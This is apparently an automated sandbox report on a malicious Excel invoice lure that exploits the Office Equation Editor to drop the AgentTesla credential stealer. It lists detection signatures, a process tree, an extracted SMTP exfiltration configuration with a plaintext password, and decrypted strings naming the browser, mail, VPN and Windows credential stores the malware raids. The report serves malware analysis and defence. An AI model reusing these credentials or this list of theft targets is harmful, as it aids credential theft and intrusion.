Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Fatura 002.xlam.xlsx

Overview

General Information

Sample name:Fatura 002.xlam.xlsx
Analysis ID:1523149
MD5:404eec23afb533475c11493f7d367ec0
SHA1:844ba233d3ba4ecc44596bc78f90eecffd0286de
SHA256:eab869eef3b586266919e8d303d196beeb0f22d3f3cbc7b1f521a7e67acd4cf5
Tags:xlamxlsxuser-abuse_ch
Infos:

Detection

AgentTesla
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected AgentTesla
Document exploit detected (process start blacklist hit)
Installs new ROOT certificates
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Shellcode detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
PE file contains an invalid checksum
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 3316 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • EQNEDT32.EXE (PID: 3516 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)
      • coolz.exe (PID: 3660 cmdline: C:\Users\user\AppData\Local\Temp\coolz.exe MD5: 0FCFEEFEF9E389286B0EF7E97E1E7F28)
        • RegSvcs.exe (PID: 3688 cmdline: C:\Users\user\AppData\Local\Temp\coolz.exe MD5: 19855C0DC5BEC9FDF925307C57F9F5FC)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Agent Tesla, AgentTeslaA .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.solucionesmexico.mx", "Username": "security@solucionesmexico.mx", "Password": "    Qdk,[nKrmI0j             "}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
sheet1.xmlINDICATOR_XML_LegacyDrawing_AutoLoad_Documentdetects AutoLoad documents using LegacyDrawingditekSHen
  • 0x27b:$s1: <legacyDrawing r:id="
  • 0x2a3:$s2: <oleObject progId="
  • 0x2dd:$s3: autoLoad="true"

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.622210442.0000000002001000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
    00000006.00000002.622128316.0000000000402000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security
      Process Memory Space: RegSvcs.exe PID: 3688JoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        decrypted.memstrJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
          decrypted.memstrJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            6.2.RegSvcs.exe.400000.0.unpackJoeSecurity_AgentTesla_2Yara detected AgentTeslaJoe Security

              Sigma Signatures

              Exploits

              barindex
              Sigma detected: File Dropped By EQNEDT32EXE
              Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3516, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exe

              System Summary

              barindex
              Sigma detected: Equation Editor Network Connection
              Source: Network ConnectionAuthor: Max Altgelt (Nextron Systems): Data: DestinationIp: 104.21.35.109, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3516, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163
              Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
              Source: Process startedAuthor: Jason Lynch: Data: Command: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\coolz.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\coolz.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\coolz.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3516, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, ProcessId: 3660, ProcessName: coolz.exe
              Sigma detected: Suspicious Microsoft Office Child Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\coolz.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\coolz.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\coolz.exe, ParentCommandLine: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 3516, ParentProcessName: EQNEDT32.EXE, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, ProcessId: 3660, ProcessName: coolz.exe
              Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, ParentImage: C:\Users\user\AppData\Local\Temp\coolz.exe, ParentProcessId: 3660, ParentProcessName: coolz.exe, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\coolz.exe, ProcessId: 3688, ProcessName: RegSvcs.exe
              Sigma detected: Modification of IE Registry Settings
              Source: Registry Key setAuthor: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3516, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

              Suricata Signatures

              ⊘No Suricata rule has matched

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: Fatura 002.xlam.xlsxAvira: detected
              Found malware configuration
              Source: 6.2.RegSvcs.exe.400000.0.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.solucionesmexico.mx", "Username": "security@solucionesmexico.mx", "Password": " Qdk,[nKrmI0j "}
              Multi AV Scanner detection for dropped file
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exeReversingLabs: Detection: 26%
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeReversingLabs: Detection: 26%
              Multi AV Scanner detection for submitted file
              Source: Fatura 002.xlam.xlsxVirustotal: Detection: 50%Perma Link
              Source: Fatura 002.xlam.xlsxReversingLabs: Detection: 71%
              Machine Learning detection for dropped file
              Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\food[1].exeJoe Sandbox ML: detected
              Source: C:\Users\user\AppData\Local\Temp\coolz.exeJoe Sandbox ML: detected
              Sample uses string decryption to hide its real strings
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: /log.tmp
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>[
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: yyyy-MM-dd HH:mm:ss
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ]<br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Time:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MM/dd/yyyy HH:mm:ss
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>User Name:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>Computer Name:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>OSFullName:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>CPU:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>RAM:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IP Address:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <hr>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: New
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MM/dd/yyyy HH:mm:ss
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IP Address:
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: true
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: mail.solucionesmexico.mx
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: security@solucionesmexico.mx
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Qdk,[nKrmI0j
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: security@solucionesmexico.mx
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: false
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: appdata
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MBecZ
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MBecZ.exe
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: MBecZ
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: true
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Type
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \drivers\etc\hosts
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <hr>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <b>[
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ]</b> (
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: )<br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {BACK}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {ALT+TAB}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {ALT+F4}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {TAB}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {ESC}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {Win}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {CAPSLOCK}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {KEYUP}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {KEYDOWN}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {KEYLEFT}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {KEYRIGHT}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {DEL}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {END}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {HOME}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {Insert}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {NumLock}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {PageDown}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {PageUp}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {ENTER}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F1}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F2}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F3}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F4}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F5}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F6}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F7}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F8}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F9}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F10}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F11}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {F12}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: control
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {CTRL}
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: &amp;
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: &lt;
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: &gt;
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: &quot;
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <br><hr>Copied Text: <br>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <hr>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: logins
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IE/Edge
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Secure Note
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 3CCD5499-87A8-4B10-A215-608888DD3B55
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Web Password Credential
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 154E23D0-C644-4E6F-8CE6-5069272F999F
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Credential Picker Protector
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Web Credentials
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Credentials
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Domain Certificate Credential
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 3E0E35BE-1B77-43E7-B873-AED901B6275B
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Domain Password Credential
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Windows Extended Credential
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: 00000000-0000-0000-0000-000000000000
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SchemaId
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pResourceElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pIdentityElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pPackageSid
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: pAuthenticatorElement
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IE/Edge
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UC Browser
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: UCBrowser\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Login Data
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: journal
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: wow_logins
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Safari for Windows
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Common Files\Apple\Apple Application Support\plutil.exe
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Apple Computer\Preferences\keychain.plist
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <array>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <dict>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <string>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </string>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <string>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </string>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: <data>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: </data>
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: -convert xml1 -s -o "
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \fixed_keychain.xml"
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Microsoft\Credentials\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Microsoft\Credentials\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Microsoft\Credentials\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Microsoft\Credentials\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Microsoft\Protect\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: credential
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: QQ Browser
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Tencent\QQBrowser\User Data
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Default\EncryptedStorage
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Profile
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \EncryptedStorage
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: entries
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: category
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: str3
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: str2
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: blob0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: password_value
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: IncrediMail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PopPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SmtpPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\IncrediMail\Identities\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Accounts_New
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: PopPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SmtpPassword
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SmtpServer
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: EmailAddress
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Eudora
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\Qualcomm\Eudora\CommandLine\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: current
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Settings
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: SavePasswordText
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Settings
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ReturnAddress
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Falkon Browser
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \falkon\profiles\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: profiles.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: startProfile=([A-z0-9\/\.\"]+)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: profiles.ini
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \browsedata.db
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: autofill
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ClawsMail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Claws-mail
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \clawsrc
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \clawsrc
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: passkey0
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: master_passphrase_salt=(.+)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: master_passphrase_pbkdf2_rounds=(.+)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \accountrc
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: smtp_server
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: address
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: account
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \passwordstorerc
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: {(.*),(.*)}(.*)
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Flock Browser
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Flock\Browser\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: signons3.txt
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: DynDns
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ALLUSERSPROFILE
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Dyn\Updater\config.dyndns
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: username=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: password=
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: https://account.dyn.com/
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: t6KzXhCh
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: ALLUSERSPROFILE
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Dyn\Updater\daemon.cfg
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: global
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: accounts
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: account.
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: username
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: account.
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Psi/Psi+
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: name
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: password
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Psi/Psi+
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Psi\profiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: APPDATA
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \Psi+\profiles
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \accounts.xml
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \accounts.xml
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: OpenVPN
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\OpenVPN-GUI\configs
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\OpenVPN-GUI\configs
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: Software\OpenVPN-GUI\configs\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: username
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: auth-data
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: entropy
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: USERPROFILE
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: \OpenVPN\config\
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: remote
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: remote
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: NordVPN
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: NordVPN
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: NordVpn.exe*
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: user.config
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: //setting[@name='Username']/value
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: //setting[@name='Password']/value
              Source: 6.2.RegSvcs.exe.400000.0.unpackString decryptor: NordVPN
